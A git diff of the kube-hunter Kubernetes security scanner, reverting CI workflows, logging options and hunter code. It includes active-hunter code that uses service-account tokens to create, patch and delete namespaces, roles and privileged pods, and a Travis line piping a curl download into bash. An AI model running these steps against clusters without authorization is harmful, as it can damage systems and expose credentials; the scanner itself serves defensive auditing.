Compare commits

..

1 Commits

Author SHA1 Message Date
Liz Rice
16ee0d87ce docs: fix broken CONTRIBUTING link 2020-07-01 17:54:58 +01:00
48 changed files with 261 additions and 791 deletions

View File

@@ -1,67 +0,0 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '16 3 * * 1'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
language: [ 'python' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
# Learn more:
# https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
steps:
- name: Checkout repository
uses: actions/checkout@v2
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# queries: ./path/to/local/query, your-org/your-repo/queries@main
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
- name: Autobuild
uses: github/codeql-action/autobuild@v1
# Command-line programs to run using the OS shell.
# 📚 https://git.io/JvXDl
# ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
# and modify them (or add more) to build your code if your project
# uses a compiled language
#- run: |
# make bootstrap
# make release
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1

View File

@@ -1,12 +0,0 @@
name: Lint
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v2
- uses: actions/setup-python@v2
- uses: pre-commit/action@v2.0.0

View File

@@ -1,52 +0,0 @@
on:
push:
# Sequence of patterns matched against refs/tags
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
name: Upload Release Asset
jobs:
build:
name: Upload Release Asset
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -r requirements-dev.txt
- name: Build project
shell: bash
run: |
make pyinstaller
- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: Release ${{ github.ref }}
draft: false
prerelease: false
- name: Upload Release Asset
id: upload-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./dist/kube-hunter
asset_name: kube-hunter-linux-x86_64-${{ github.ref }}
asset_content_type: application/octet-stream

View File

@@ -1,54 +0,0 @@
name: Test
on: [push, pull_request]
env:
FORCE_COLOR: 1
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
python-version: ["3.6", "3.7", "3.8", "3.9"]
os: [ubuntu-20.04, ubuntu-18.04, ubuntu-16.04]
steps:
- uses: actions/checkout@v2
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Get pip cache dir
id: pip-cache
run: |
echo "::set-output name=dir::$(pip cache dir)"
- name: Cache
uses: actions/cache@v2
with:
path: ${{ steps.pip-cache.outputs.dir }}
key:
${{ matrix.os }}-${{ matrix.python-version }}-${{ hashFiles('requirements-dev.txt') }}
restore-keys: |
${{ matrix.os }}-${{ matrix.python-version }}-
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -U wheel
python -m pip install -r requirements.txt
python -m pip install -r requirements-dev.txt
- name: Test
shell: bash
run: |
make test
- name: Upload coverage
uses: codecov/codecov-action@v1
with:
name: ${{ matrix.os }} Python ${{ matrix.python-version }}

1
.gitignore vendored
View File

@@ -24,7 +24,6 @@ var/
*.egg *.egg
*.spec *.spec
.eggs .eggs
pip-wheel-metadata
# Directory Cache Files # Directory Cache Files
.DS_Store .DS_Store

20
.travis.yml Normal file
View File

@@ -0,0 +1,20 @@
group: travis_latest
language: python
cache: pip
python:
- "3.6"
- "3.7"
- "3.8"
install:
- pip install -r requirements.txt
- pip install -r requirements-dev.txt
before_script:
- make lint-check
script:
- make test
after_success:
- bash <(curl -s https://codecov.io/bash)
notifications:
email:
on_success: change
on_failure: always

View File

@@ -16,14 +16,4 @@ RUN make deps
COPY . . COPY . .
RUN make install RUN make install
FROM python:3.8-alpine
RUN apk add --no-cache \
tcpdump \
ebtables && \
apk upgrade --no-cache
COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
ENTRYPOINT ["kube-hunter"] ENTRYPOINT ["kube-hunter"]

View File

@@ -1,6 +1,6 @@
![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png) ![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png)
[![Build Status](https://github.com/aquasecurity/kube-hunter/workflows/Test/badge.svg)](https://github.com/aquasecurity/kube-hunter/actions) [![Build Status](https://travis-ci.org/aquasecurity/kube-hunter.svg?branch=master)](https://travis-ci.org/aquasecurity/kube-hunter)
[![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter) [![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
[![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE) [![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
@@ -34,7 +34,6 @@ Table of Contents
* [Prerequisites](#prerequisites) * [Prerequisites](#prerequisites)
* [Container](#container) * [Container](#container)
* [Pod](#pod) * [Pod](#pod)
* [Contribution](#contribution)
## Hunting ## Hunting
@@ -175,8 +174,5 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
* Find the pod name with `kubectl describe job kube-hunter` * Find the pod name with `kubectl describe job kube-hunter`
* View the test results with `kubectl logs <pod name>` * View the test results with `kubectl logs <pod name>`
## Contribution
To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md"> Click here </a>
## License ## License
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE). This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

View File

@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
## Remediation ## Remediation
Secure access to your Kubernetes API. Secure acess to your Kubernetes API.
It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal. It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.

View File

@@ -1,23 +0,0 @@
---
vid: KHV052
title: Exposed Pods
categories: [Information Disclosure]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Disable the readonly port by using `--read-only-port=0` kubelet flag.
## References
- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

View File

@@ -8,7 +8,7 @@ spec:
containers: containers:
- name: kube-hunter - name: kube-hunter
image: aquasec/kube-hunter image: aquasec/kube-hunter
command: ["kube-hunter"] command: ["python", "kube-hunter.py"]
args: ["--pod"] args: ["--pod"]
restartPolicy: Never restartPolicy: Never
backoffLimit: 4 backoffLimit: 4

Binary file not shown.

Before

Width:  |  Height:  |  Size: 230 KiB

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 27 KiB

View File

@@ -18,7 +18,6 @@ config = Config(
cidr=args.cidr, cidr=args.cidr,
include_patched_versions=args.include_patched_versions, include_patched_versions=args.include_patched_versions,
interface=args.interface, interface=args.interface,
log_file=args.log_file,
mapping=args.mapping, mapping=args.mapping,
network_timeout=args.network_timeout, network_timeout=args.network_timeout,
pod=args.pod, pod=args.pod,
@@ -26,7 +25,7 @@ config = Config(
remote=args.remote, remote=args.remote,
statistics=args.statistics, statistics=args.statistics,
) )
setup_logger(args.log, args.log_file) setup_logger(args.log)
set_config(config) set_config(config)
# Running all other registered plugins before execution # Running all other registered plugins before execution
@@ -73,13 +72,13 @@ def list_hunters():
print("\nPassive Hunters:\n----------------") print("\nPassive Hunters:\n----------------")
for hunter, docs in handler.passive_hunters.items(): for hunter, docs in handler.passive_hunters.items():
name, doc = hunter.parse_docs(docs) name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n") print("* {}\n {}\n".format(name, doc))
if config.active: if config.active:
print("\n\nActive Hunters:\n---------------") print("\n\nActive Hunters:\n---------------")
for hunter, docs in handler.active_hunters.items(): for hunter, docs in handler.active_hunters.items():
name, doc = hunter.parse_docs(docs) name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n") print("* {}\n {}\n".format(name, doc))
hunt_started_lock = threading.Lock() hunt_started_lock = threading.Lock()

View File

@@ -4,7 +4,7 @@ from typing import Any, Optional
@dataclass @dataclass
class Config: class Config:
"""Config is a configuration container. """ Config is a configuration container.
It contains the following fields: It contains the following fields:
- active: Enable active hunters - active: Enable active hunters
- cidr: Network subnets to scan - cidr: Network subnets to scan
@@ -13,7 +13,6 @@ class Config:
- interface: Interface scanning mode - interface: Interface scanning mode
- list_hunters: Print a list of existing hunters - list_hunters: Print a list of existing hunters
- log_level: Log level - log_level: Log level
- log_file: Log File path
- mapping: Report only found components - mapping: Report only found components
- network_timeout: Timeout for network operations - network_timeout: Timeout for network operations
- pod: From pod scanning mode - pod: From pod scanning mode
@@ -28,7 +27,6 @@ class Config:
dispatcher: Optional[Any] = None dispatcher: Optional[Any] = None
include_patched_versions: bool = False include_patched_versions: bool = False
interface: bool = False interface: bool = False
log_file: Optional[str] = None
mapping: bool = False mapping: bool = False
network_timeout: float = 5.0 network_timeout: float = 5.0
pod: bool = False pod: bool = False

View File

@@ -1,5 +1,6 @@
import logging import logging
DEFAULT_LEVEL = logging.INFO DEFAULT_LEVEL = logging.INFO
DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL) DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s" LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -9,7 +10,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
logging.getLogger("scapy.loading").setLevel(logging.CRITICAL) logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
def setup_logger(level_name, logfile): def setup_logger(level_name):
# Remove any existing handlers # Remove any existing handlers
# Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter # Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
for h in logging.getLogger().handlers[:]: for h in logging.getLogger().handlers[:]:
@@ -21,9 +22,6 @@ def setup_logger(level_name, logfile):
else: else:
log_level = getattr(logging, level_name.upper(), None) log_level = getattr(logging, level_name.upper(), None)
log_level = log_level if isinstance(log_level, int) else None log_level = log_level if isinstance(log_level, int) else None
if logfile is None:
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT) logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
else:
logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
if not log_level: if not log_level:
logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}") logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

View File

@@ -9,9 +9,7 @@ def parser_add_arguments(parser):
Contains initialization for all default arguments Contains initialization for all default arguments
""" """
parser.add_argument( parser.add_argument(
"--list", "--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
action="store_true",
help="Displays all tests in kubehunter (add --active flag to see active tests)",
) )
parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces") parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
@@ -21,9 +19,7 @@ def parser_add_arguments(parser):
parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)") parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
parser.add_argument( parser.add_argument(
"--include-patched-versions", "--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
action="store_true",
help="Don't skip patched versions when scanning",
) )
parser.add_argument( parser.add_argument(
@@ -33,17 +29,11 @@ def parser_add_arguments(parser):
) )
parser.add_argument( parser.add_argument(
"--mapping", "--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
action="store_true",
help="Outputs only a mapping of the cluster's nodes",
) )
parser.add_argument( parser.add_argument(
"--remote", "--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
nargs="+",
metavar="HOST",
default=list(),
help="One or more remote ip/dns to hunt",
) )
parser.add_argument("--active", action="store_true", help="Enables active hunting") parser.add_argument("--active", action="store_true", help="Enables active hunting")
@@ -57,17 +47,7 @@ def parser_add_arguments(parser):
) )
parser.add_argument( parser.add_argument(
"--log-file", "--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
type=str,
default=None,
help="Path to a log file to output all logs to",
)
parser.add_argument(
"--report",
type=str,
default="plain",
help="Set report type, options are: plain, yaml, json",
) )
parser.add_argument( parser.add_argument(

View File

@@ -14,7 +14,7 @@ logger = logging.getLogger(__name__)
# Inherits Queue object, handles events asynchronously # Inherits Queue object, handles events asynchronously
class EventQueue(Queue): class EventQueue(Queue):
def __init__(self, num_worker=10): def __init__(self, num_worker=10):
super().__init__() super(EventQueue, self).__init__()
self.passive_hunters = dict() self.passive_hunters = dict()
self.active_hunters = dict() self.active_hunters = dict()
self.all_hunters = dict() self.all_hunters = dict()

View File

@@ -144,8 +144,7 @@ class NewHostEvent(Event):
logger.debug("Checking whether the cluster is deployed on azure's cloud") logger.debug("Checking whether the cluster is deployed on azure's cloud")
# Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection # Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
result = requests.get( result = requests.get(
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
timeout=config.network_timeout,
).json() ).json()
return result["cloud"] or "NoCloud" return result["cloud"] or "NoCloud"
except requests.ConnectionError: except requests.ConnectionError:
@@ -195,11 +194,7 @@ class K8sVersionDisclosure(Vulnerability, Event):
def __init__(self, version, from_endpoint, extra_info=""): def __init__(self, version, from_endpoint, extra_info=""):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
KubernetesCluster,
"K8s Version Disclosure",
category=InformationDisclosure,
vid="KHV002",
) )
self.version = version self.version = version
self.from_endpoint = from_endpoint self.from_endpoint = from_endpoint

View File

@@ -5,7 +5,8 @@ import requests
from enum import Enum from enum import Enum
from netaddr import IPNetwork, IPAddress, AddrFormatError from netaddr import IPNetwork, IPAddress, AddrFormatError
from netifaces import AF_INET, ifaddresses, interfaces, gateways from netifaces import AF_INET, ifaddresses, interfaces
from scapy.all import ICMP, IP, Ether, srp1
from kube_hunter.conf import get_config from kube_hunter.conf import get_config
from kube_hunter.core.events import handler from kube_hunter.core.events import handler
@@ -36,7 +37,7 @@ class RunningAsPodEvent(Event):
try: try:
with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f: with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
return f.read() return f.read()
except OSError: except IOError:
pass pass
@@ -45,14 +46,10 @@ class AzureMetadataApi(Vulnerability, Event):
def __init__(self, cidr): def __init__(self, cidr):
Vulnerability.__init__( Vulnerability.__init__(
self, self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
Azure,
"Azure Metadata Exposure",
category=InformationDisclosure,
vid="KHV003",
) )
self.cidr = cidr self.cidr = cidr
self.evidence = f"cidr: {cidr}" self.evidence = "cidr: {}".format(cidr)
class HostScanEvent(Event): class HostScanEvent(Event):
@@ -108,7 +105,7 @@ class FromPodHostDiscovery(Discovery):
if self.is_azure_pod(): if self.is_azure_pod():
subnets, cloud = self.azure_metadata_discovery() subnets, cloud = self.azure_metadata_discovery()
else: else:
subnets = self.gateway_discovery() subnets = self.traceroute_discovery()
should_scan_apiserver = False should_scan_apiserver = False
if self.event.kubeservicehost: if self.event.kubeservicehost:
@@ -140,9 +137,12 @@ class FromPodHostDiscovery(Discovery):
return False return False
# for pod scanning # for pod scanning
def gateway_discovery(self): def traceroute_discovery(self):
""" Retrieving default gateway of pod, which is usually also a contact point with the host """ config = get_config()
return [[gateways()["default"][AF_INET][0], "24"]] node_internal_ip = srp1(
Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
)[IP].src
return [[node_internal_ip, "24"]]
# querying azure's interface metadata api | works only from a pod # querying azure's interface metadata api | works only from a pod
def azure_metadata_discovery(self): def azure_metadata_discovery(self):

View File

@@ -16,11 +16,7 @@ class AzureSpnExposure(Vulnerability, Event):
def __init__(self, container): def __init__(self, container):
Vulnerability.__init__( Vulnerability.__init__(
self, self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
Azure,
"Azure SPN Exposure",
category=IdentityTheft,
vid="KHV004",
) )
self.container = container self.container = container
@@ -46,16 +42,11 @@ class AzureSpnHunter(Hunter):
logger.debug("failed getting pod info") logger.debug("failed getting pod info")
else: else:
pods_data = r.json().get("items", []) pods_data = r.json().get("items", [])
suspicious_volume_names = []
for pod_data in pods_data: for pod_data in pods_data:
for volume in pod_data["spec"].get("volumes", []):
if volume.get("hostPath"):
path = volume["hostPath"]["path"]
if "/etc/kubernetes/azure.json".startswith(path):
suspicious_volume_names.append(volume["name"])
for container in pod_data["spec"]["containers"]: for container in pod_data["spec"]["containers"]:
for mount in container.get("volumeMounts", []): for mount in container["volumeMounts"]:
if mount["name"] in suspicious_volume_names: path = mount["mountPath"]
if "/etc/kubernetes/azure.json".startswith(path):
return { return {
"name": container["name"], "name": container["name"],
"pod": pod_data["metadata"]["name"], "pod": pod_data["metadata"]["name"],

View File

@@ -29,11 +29,7 @@ class ServerApiAccess(Vulnerability, Event):
name = "Unauthenticated access to API" name = "Unauthenticated access to API"
category = UnauthenticatedAccess category = UnauthenticatedAccess
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name=name, category=category, vid="KHV005",
KubernetesCluster,
name=name,
category=category,
vid="KHV005",
) )
self.evidence = evidence self.evidence = evidence
@@ -46,30 +42,19 @@ class ServerApiHTTPAccess(Vulnerability, Event):
name = "Insecure (HTTP) access to API" name = "Insecure (HTTP) access to API"
category = UnauthenticatedAccess category = UnauthenticatedAccess
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name=name, category=category, vid="KHV006",
KubernetesCluster,
name=name,
category=category,
vid="KHV006",
) )
self.evidence = evidence self.evidence = evidence
class ApiInfoDisclosure(Vulnerability, Event): class ApiInfoDisclosure(Vulnerability, Event):
"""Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
def __init__(self, evidence, using_token, name): def __init__(self, evidence, using_token, name):
category = InformationDisclosure
if using_token: if using_token:
name += " using default service account token" name += " using service account token"
else: else:
name += " as anonymous user" name += " as anonymous user"
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
KubernetesCluster,
name=name,
category=category,
vid="KHV007",
) )
self.evidence = evidence self.evidence = evidence
@@ -104,14 +89,12 @@ class ListClusterRoles(ApiInfoDisclosure):
class CreateANamespace(Vulnerability, Event): class CreateANamespace(Vulnerability, Event):
"""Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.""" """ Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
"""
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
KubernetesCluster,
name="Created a namespace",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -122,16 +105,13 @@ class DeleteANamespace(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
KubernetesCluster,
name="Delete a namespace",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
class CreateARole(Vulnerability, Event): class CreateARole(Vulnerability, Event):
"""Creating a role might give an attacker the option to harm the normal behavior of newly created pods """ Creating a role might give an attacker the option to harm the normal behavior of newly created pods
within the specified namespaces. within the specified namespaces.
""" """
@@ -141,46 +121,37 @@ class CreateARole(Vulnerability, Event):
class CreateAClusterRole(Vulnerability, Event): class CreateAClusterRole(Vulnerability, Event):
"""Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods """ Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
across the whole cluster across the whole cluster
""" """
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
KubernetesCluster,
name="Created a cluster role",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
class PatchARole(Vulnerability, Event): class PatchARole(Vulnerability, Event):
"""Patching a role might give an attacker the option to create new pods with custom roles within the """ Patching a role might give an attacker the option to create new pods with custom roles within the
specific role's namespace scope specific role's namespace scope
""" """
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Patched a role", category=AccessRisk,
KubernetesCluster,
name="Patched a role",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
class PatchAClusterRole(Vulnerability, Event): class PatchAClusterRole(Vulnerability, Event):
"""Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole """ Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
cluster scope. cluster scope.
""" """
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
KubernetesCluster,
name="Patched a cluster role",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -190,10 +161,7 @@ class DeleteARole(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
KubernetesCluster,
name="Deleted a role",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -203,10 +171,7 @@ class DeleteAClusterRole(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
KubernetesCluster,
name="Deleted a cluster role",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -216,10 +181,7 @@ class CreateAPod(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
KubernetesCluster,
name="Created A Pod",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -229,10 +191,7 @@ class CreateAPrivilegedPod(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
KubernetesCluster,
name="Created A PRIVILEGED Pod",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -242,10 +201,7 @@ class PatchAPod(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
KubernetesCluster,
name="Patched A Pod",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -255,10 +211,7 @@ class DeleteAPod(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
KubernetesCluster,
name="Deleted A Pod",
category=AccessRisk,
) )
self.evidence = evidence self.evidence = evidence
@@ -272,7 +225,7 @@ class ApiServerPassiveHunterFinished(Event):
# If we have a service account token we'll also trigger AccessApiServerWithToken below # If we have a service account token we'll also trigger AccessApiServerWithToken below
@handler.subscribe(ApiServer) @handler.subscribe(ApiServer)
class AccessApiServer(Hunter): class AccessApiServer(Hunter):
"""API Server Hunter """ API Server Hunter
Checks if API server is accessible Checks if API server is accessible
""" """
@@ -315,10 +268,7 @@ class AccessApiServer(Hunter):
try: try:
if not namespace: if not namespace:
r = requests.get( r = requests.get(
f"{self.path}/api/v1/pods", f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
headers=self.headers,
verify=False,
timeout=config.network_timeout,
) )
else: else:
r = requests.get( r = requests.get(
@@ -346,7 +296,7 @@ class AccessApiServer(Hunter):
else: else:
self.publish_event(ServerApiAccess(api, self.with_token)) self.publish_event(ServerApiAccess(api, self.with_token))
namespaces = self.get_items(f"{self.path}/api/v1/namespaces") namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
if namespaces: if namespaces:
self.publish_event(ListNamespaces(namespaces, self.with_token)) self.publish_event(ListNamespaces(namespaces, self.with_token))
@@ -369,12 +319,12 @@ class AccessApiServer(Hunter):
@handler.subscribe(ApiServer, predicate=lambda x: x.auth_token) @handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
class AccessApiServerWithToken(AccessApiServer): class AccessApiServerWithToken(AccessApiServer):
"""API Server Hunter """ API Server Hunter
Accessing the API server using the service account token obtained from a compromised pod Accessing the API server using the service account token obtained from a compromised pod
""" """
def __init__(self, event): def __init__(self, event):
super().__init__(event) super(AccessApiServerWithToken, self).__init__(event)
assert self.event.auth_token assert self.event.auth_token
self.headers = {"Authorization": f"Bearer {self.event.auth_token}"} self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
self.category = InformationDisclosure self.category = InformationDisclosure
@@ -461,8 +411,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_pod(self, namespace, pod_name): def patch_a_pod(self, namespace, pod_name):
data = [{"op": "add", "path": "/hello", "value": ["world"]}] data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item( return self.patch_item(
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
data=json.dumps(data),
) )
def create_namespace(self): def create_namespace(self):
@@ -489,8 +438,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}], "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
} }
return self.create_item( return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
data=json.dumps(role),
) )
def create_a_cluster_role(self): def create_a_cluster_role(self):
@@ -502,8 +450,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}], "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
} }
return self.create_item( return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
data=json.dumps(cluster_role),
) )
def delete_a_role(self, namespace, name): def delete_a_role(self, namespace, name):
@@ -530,8 +477,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_cluster_role(self, cluster_role): def patch_a_cluster_role(self, cluster_role):
data = [{"op": "add", "path": "/hello", "value": ["world"]}] data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item( return self.patch_item(
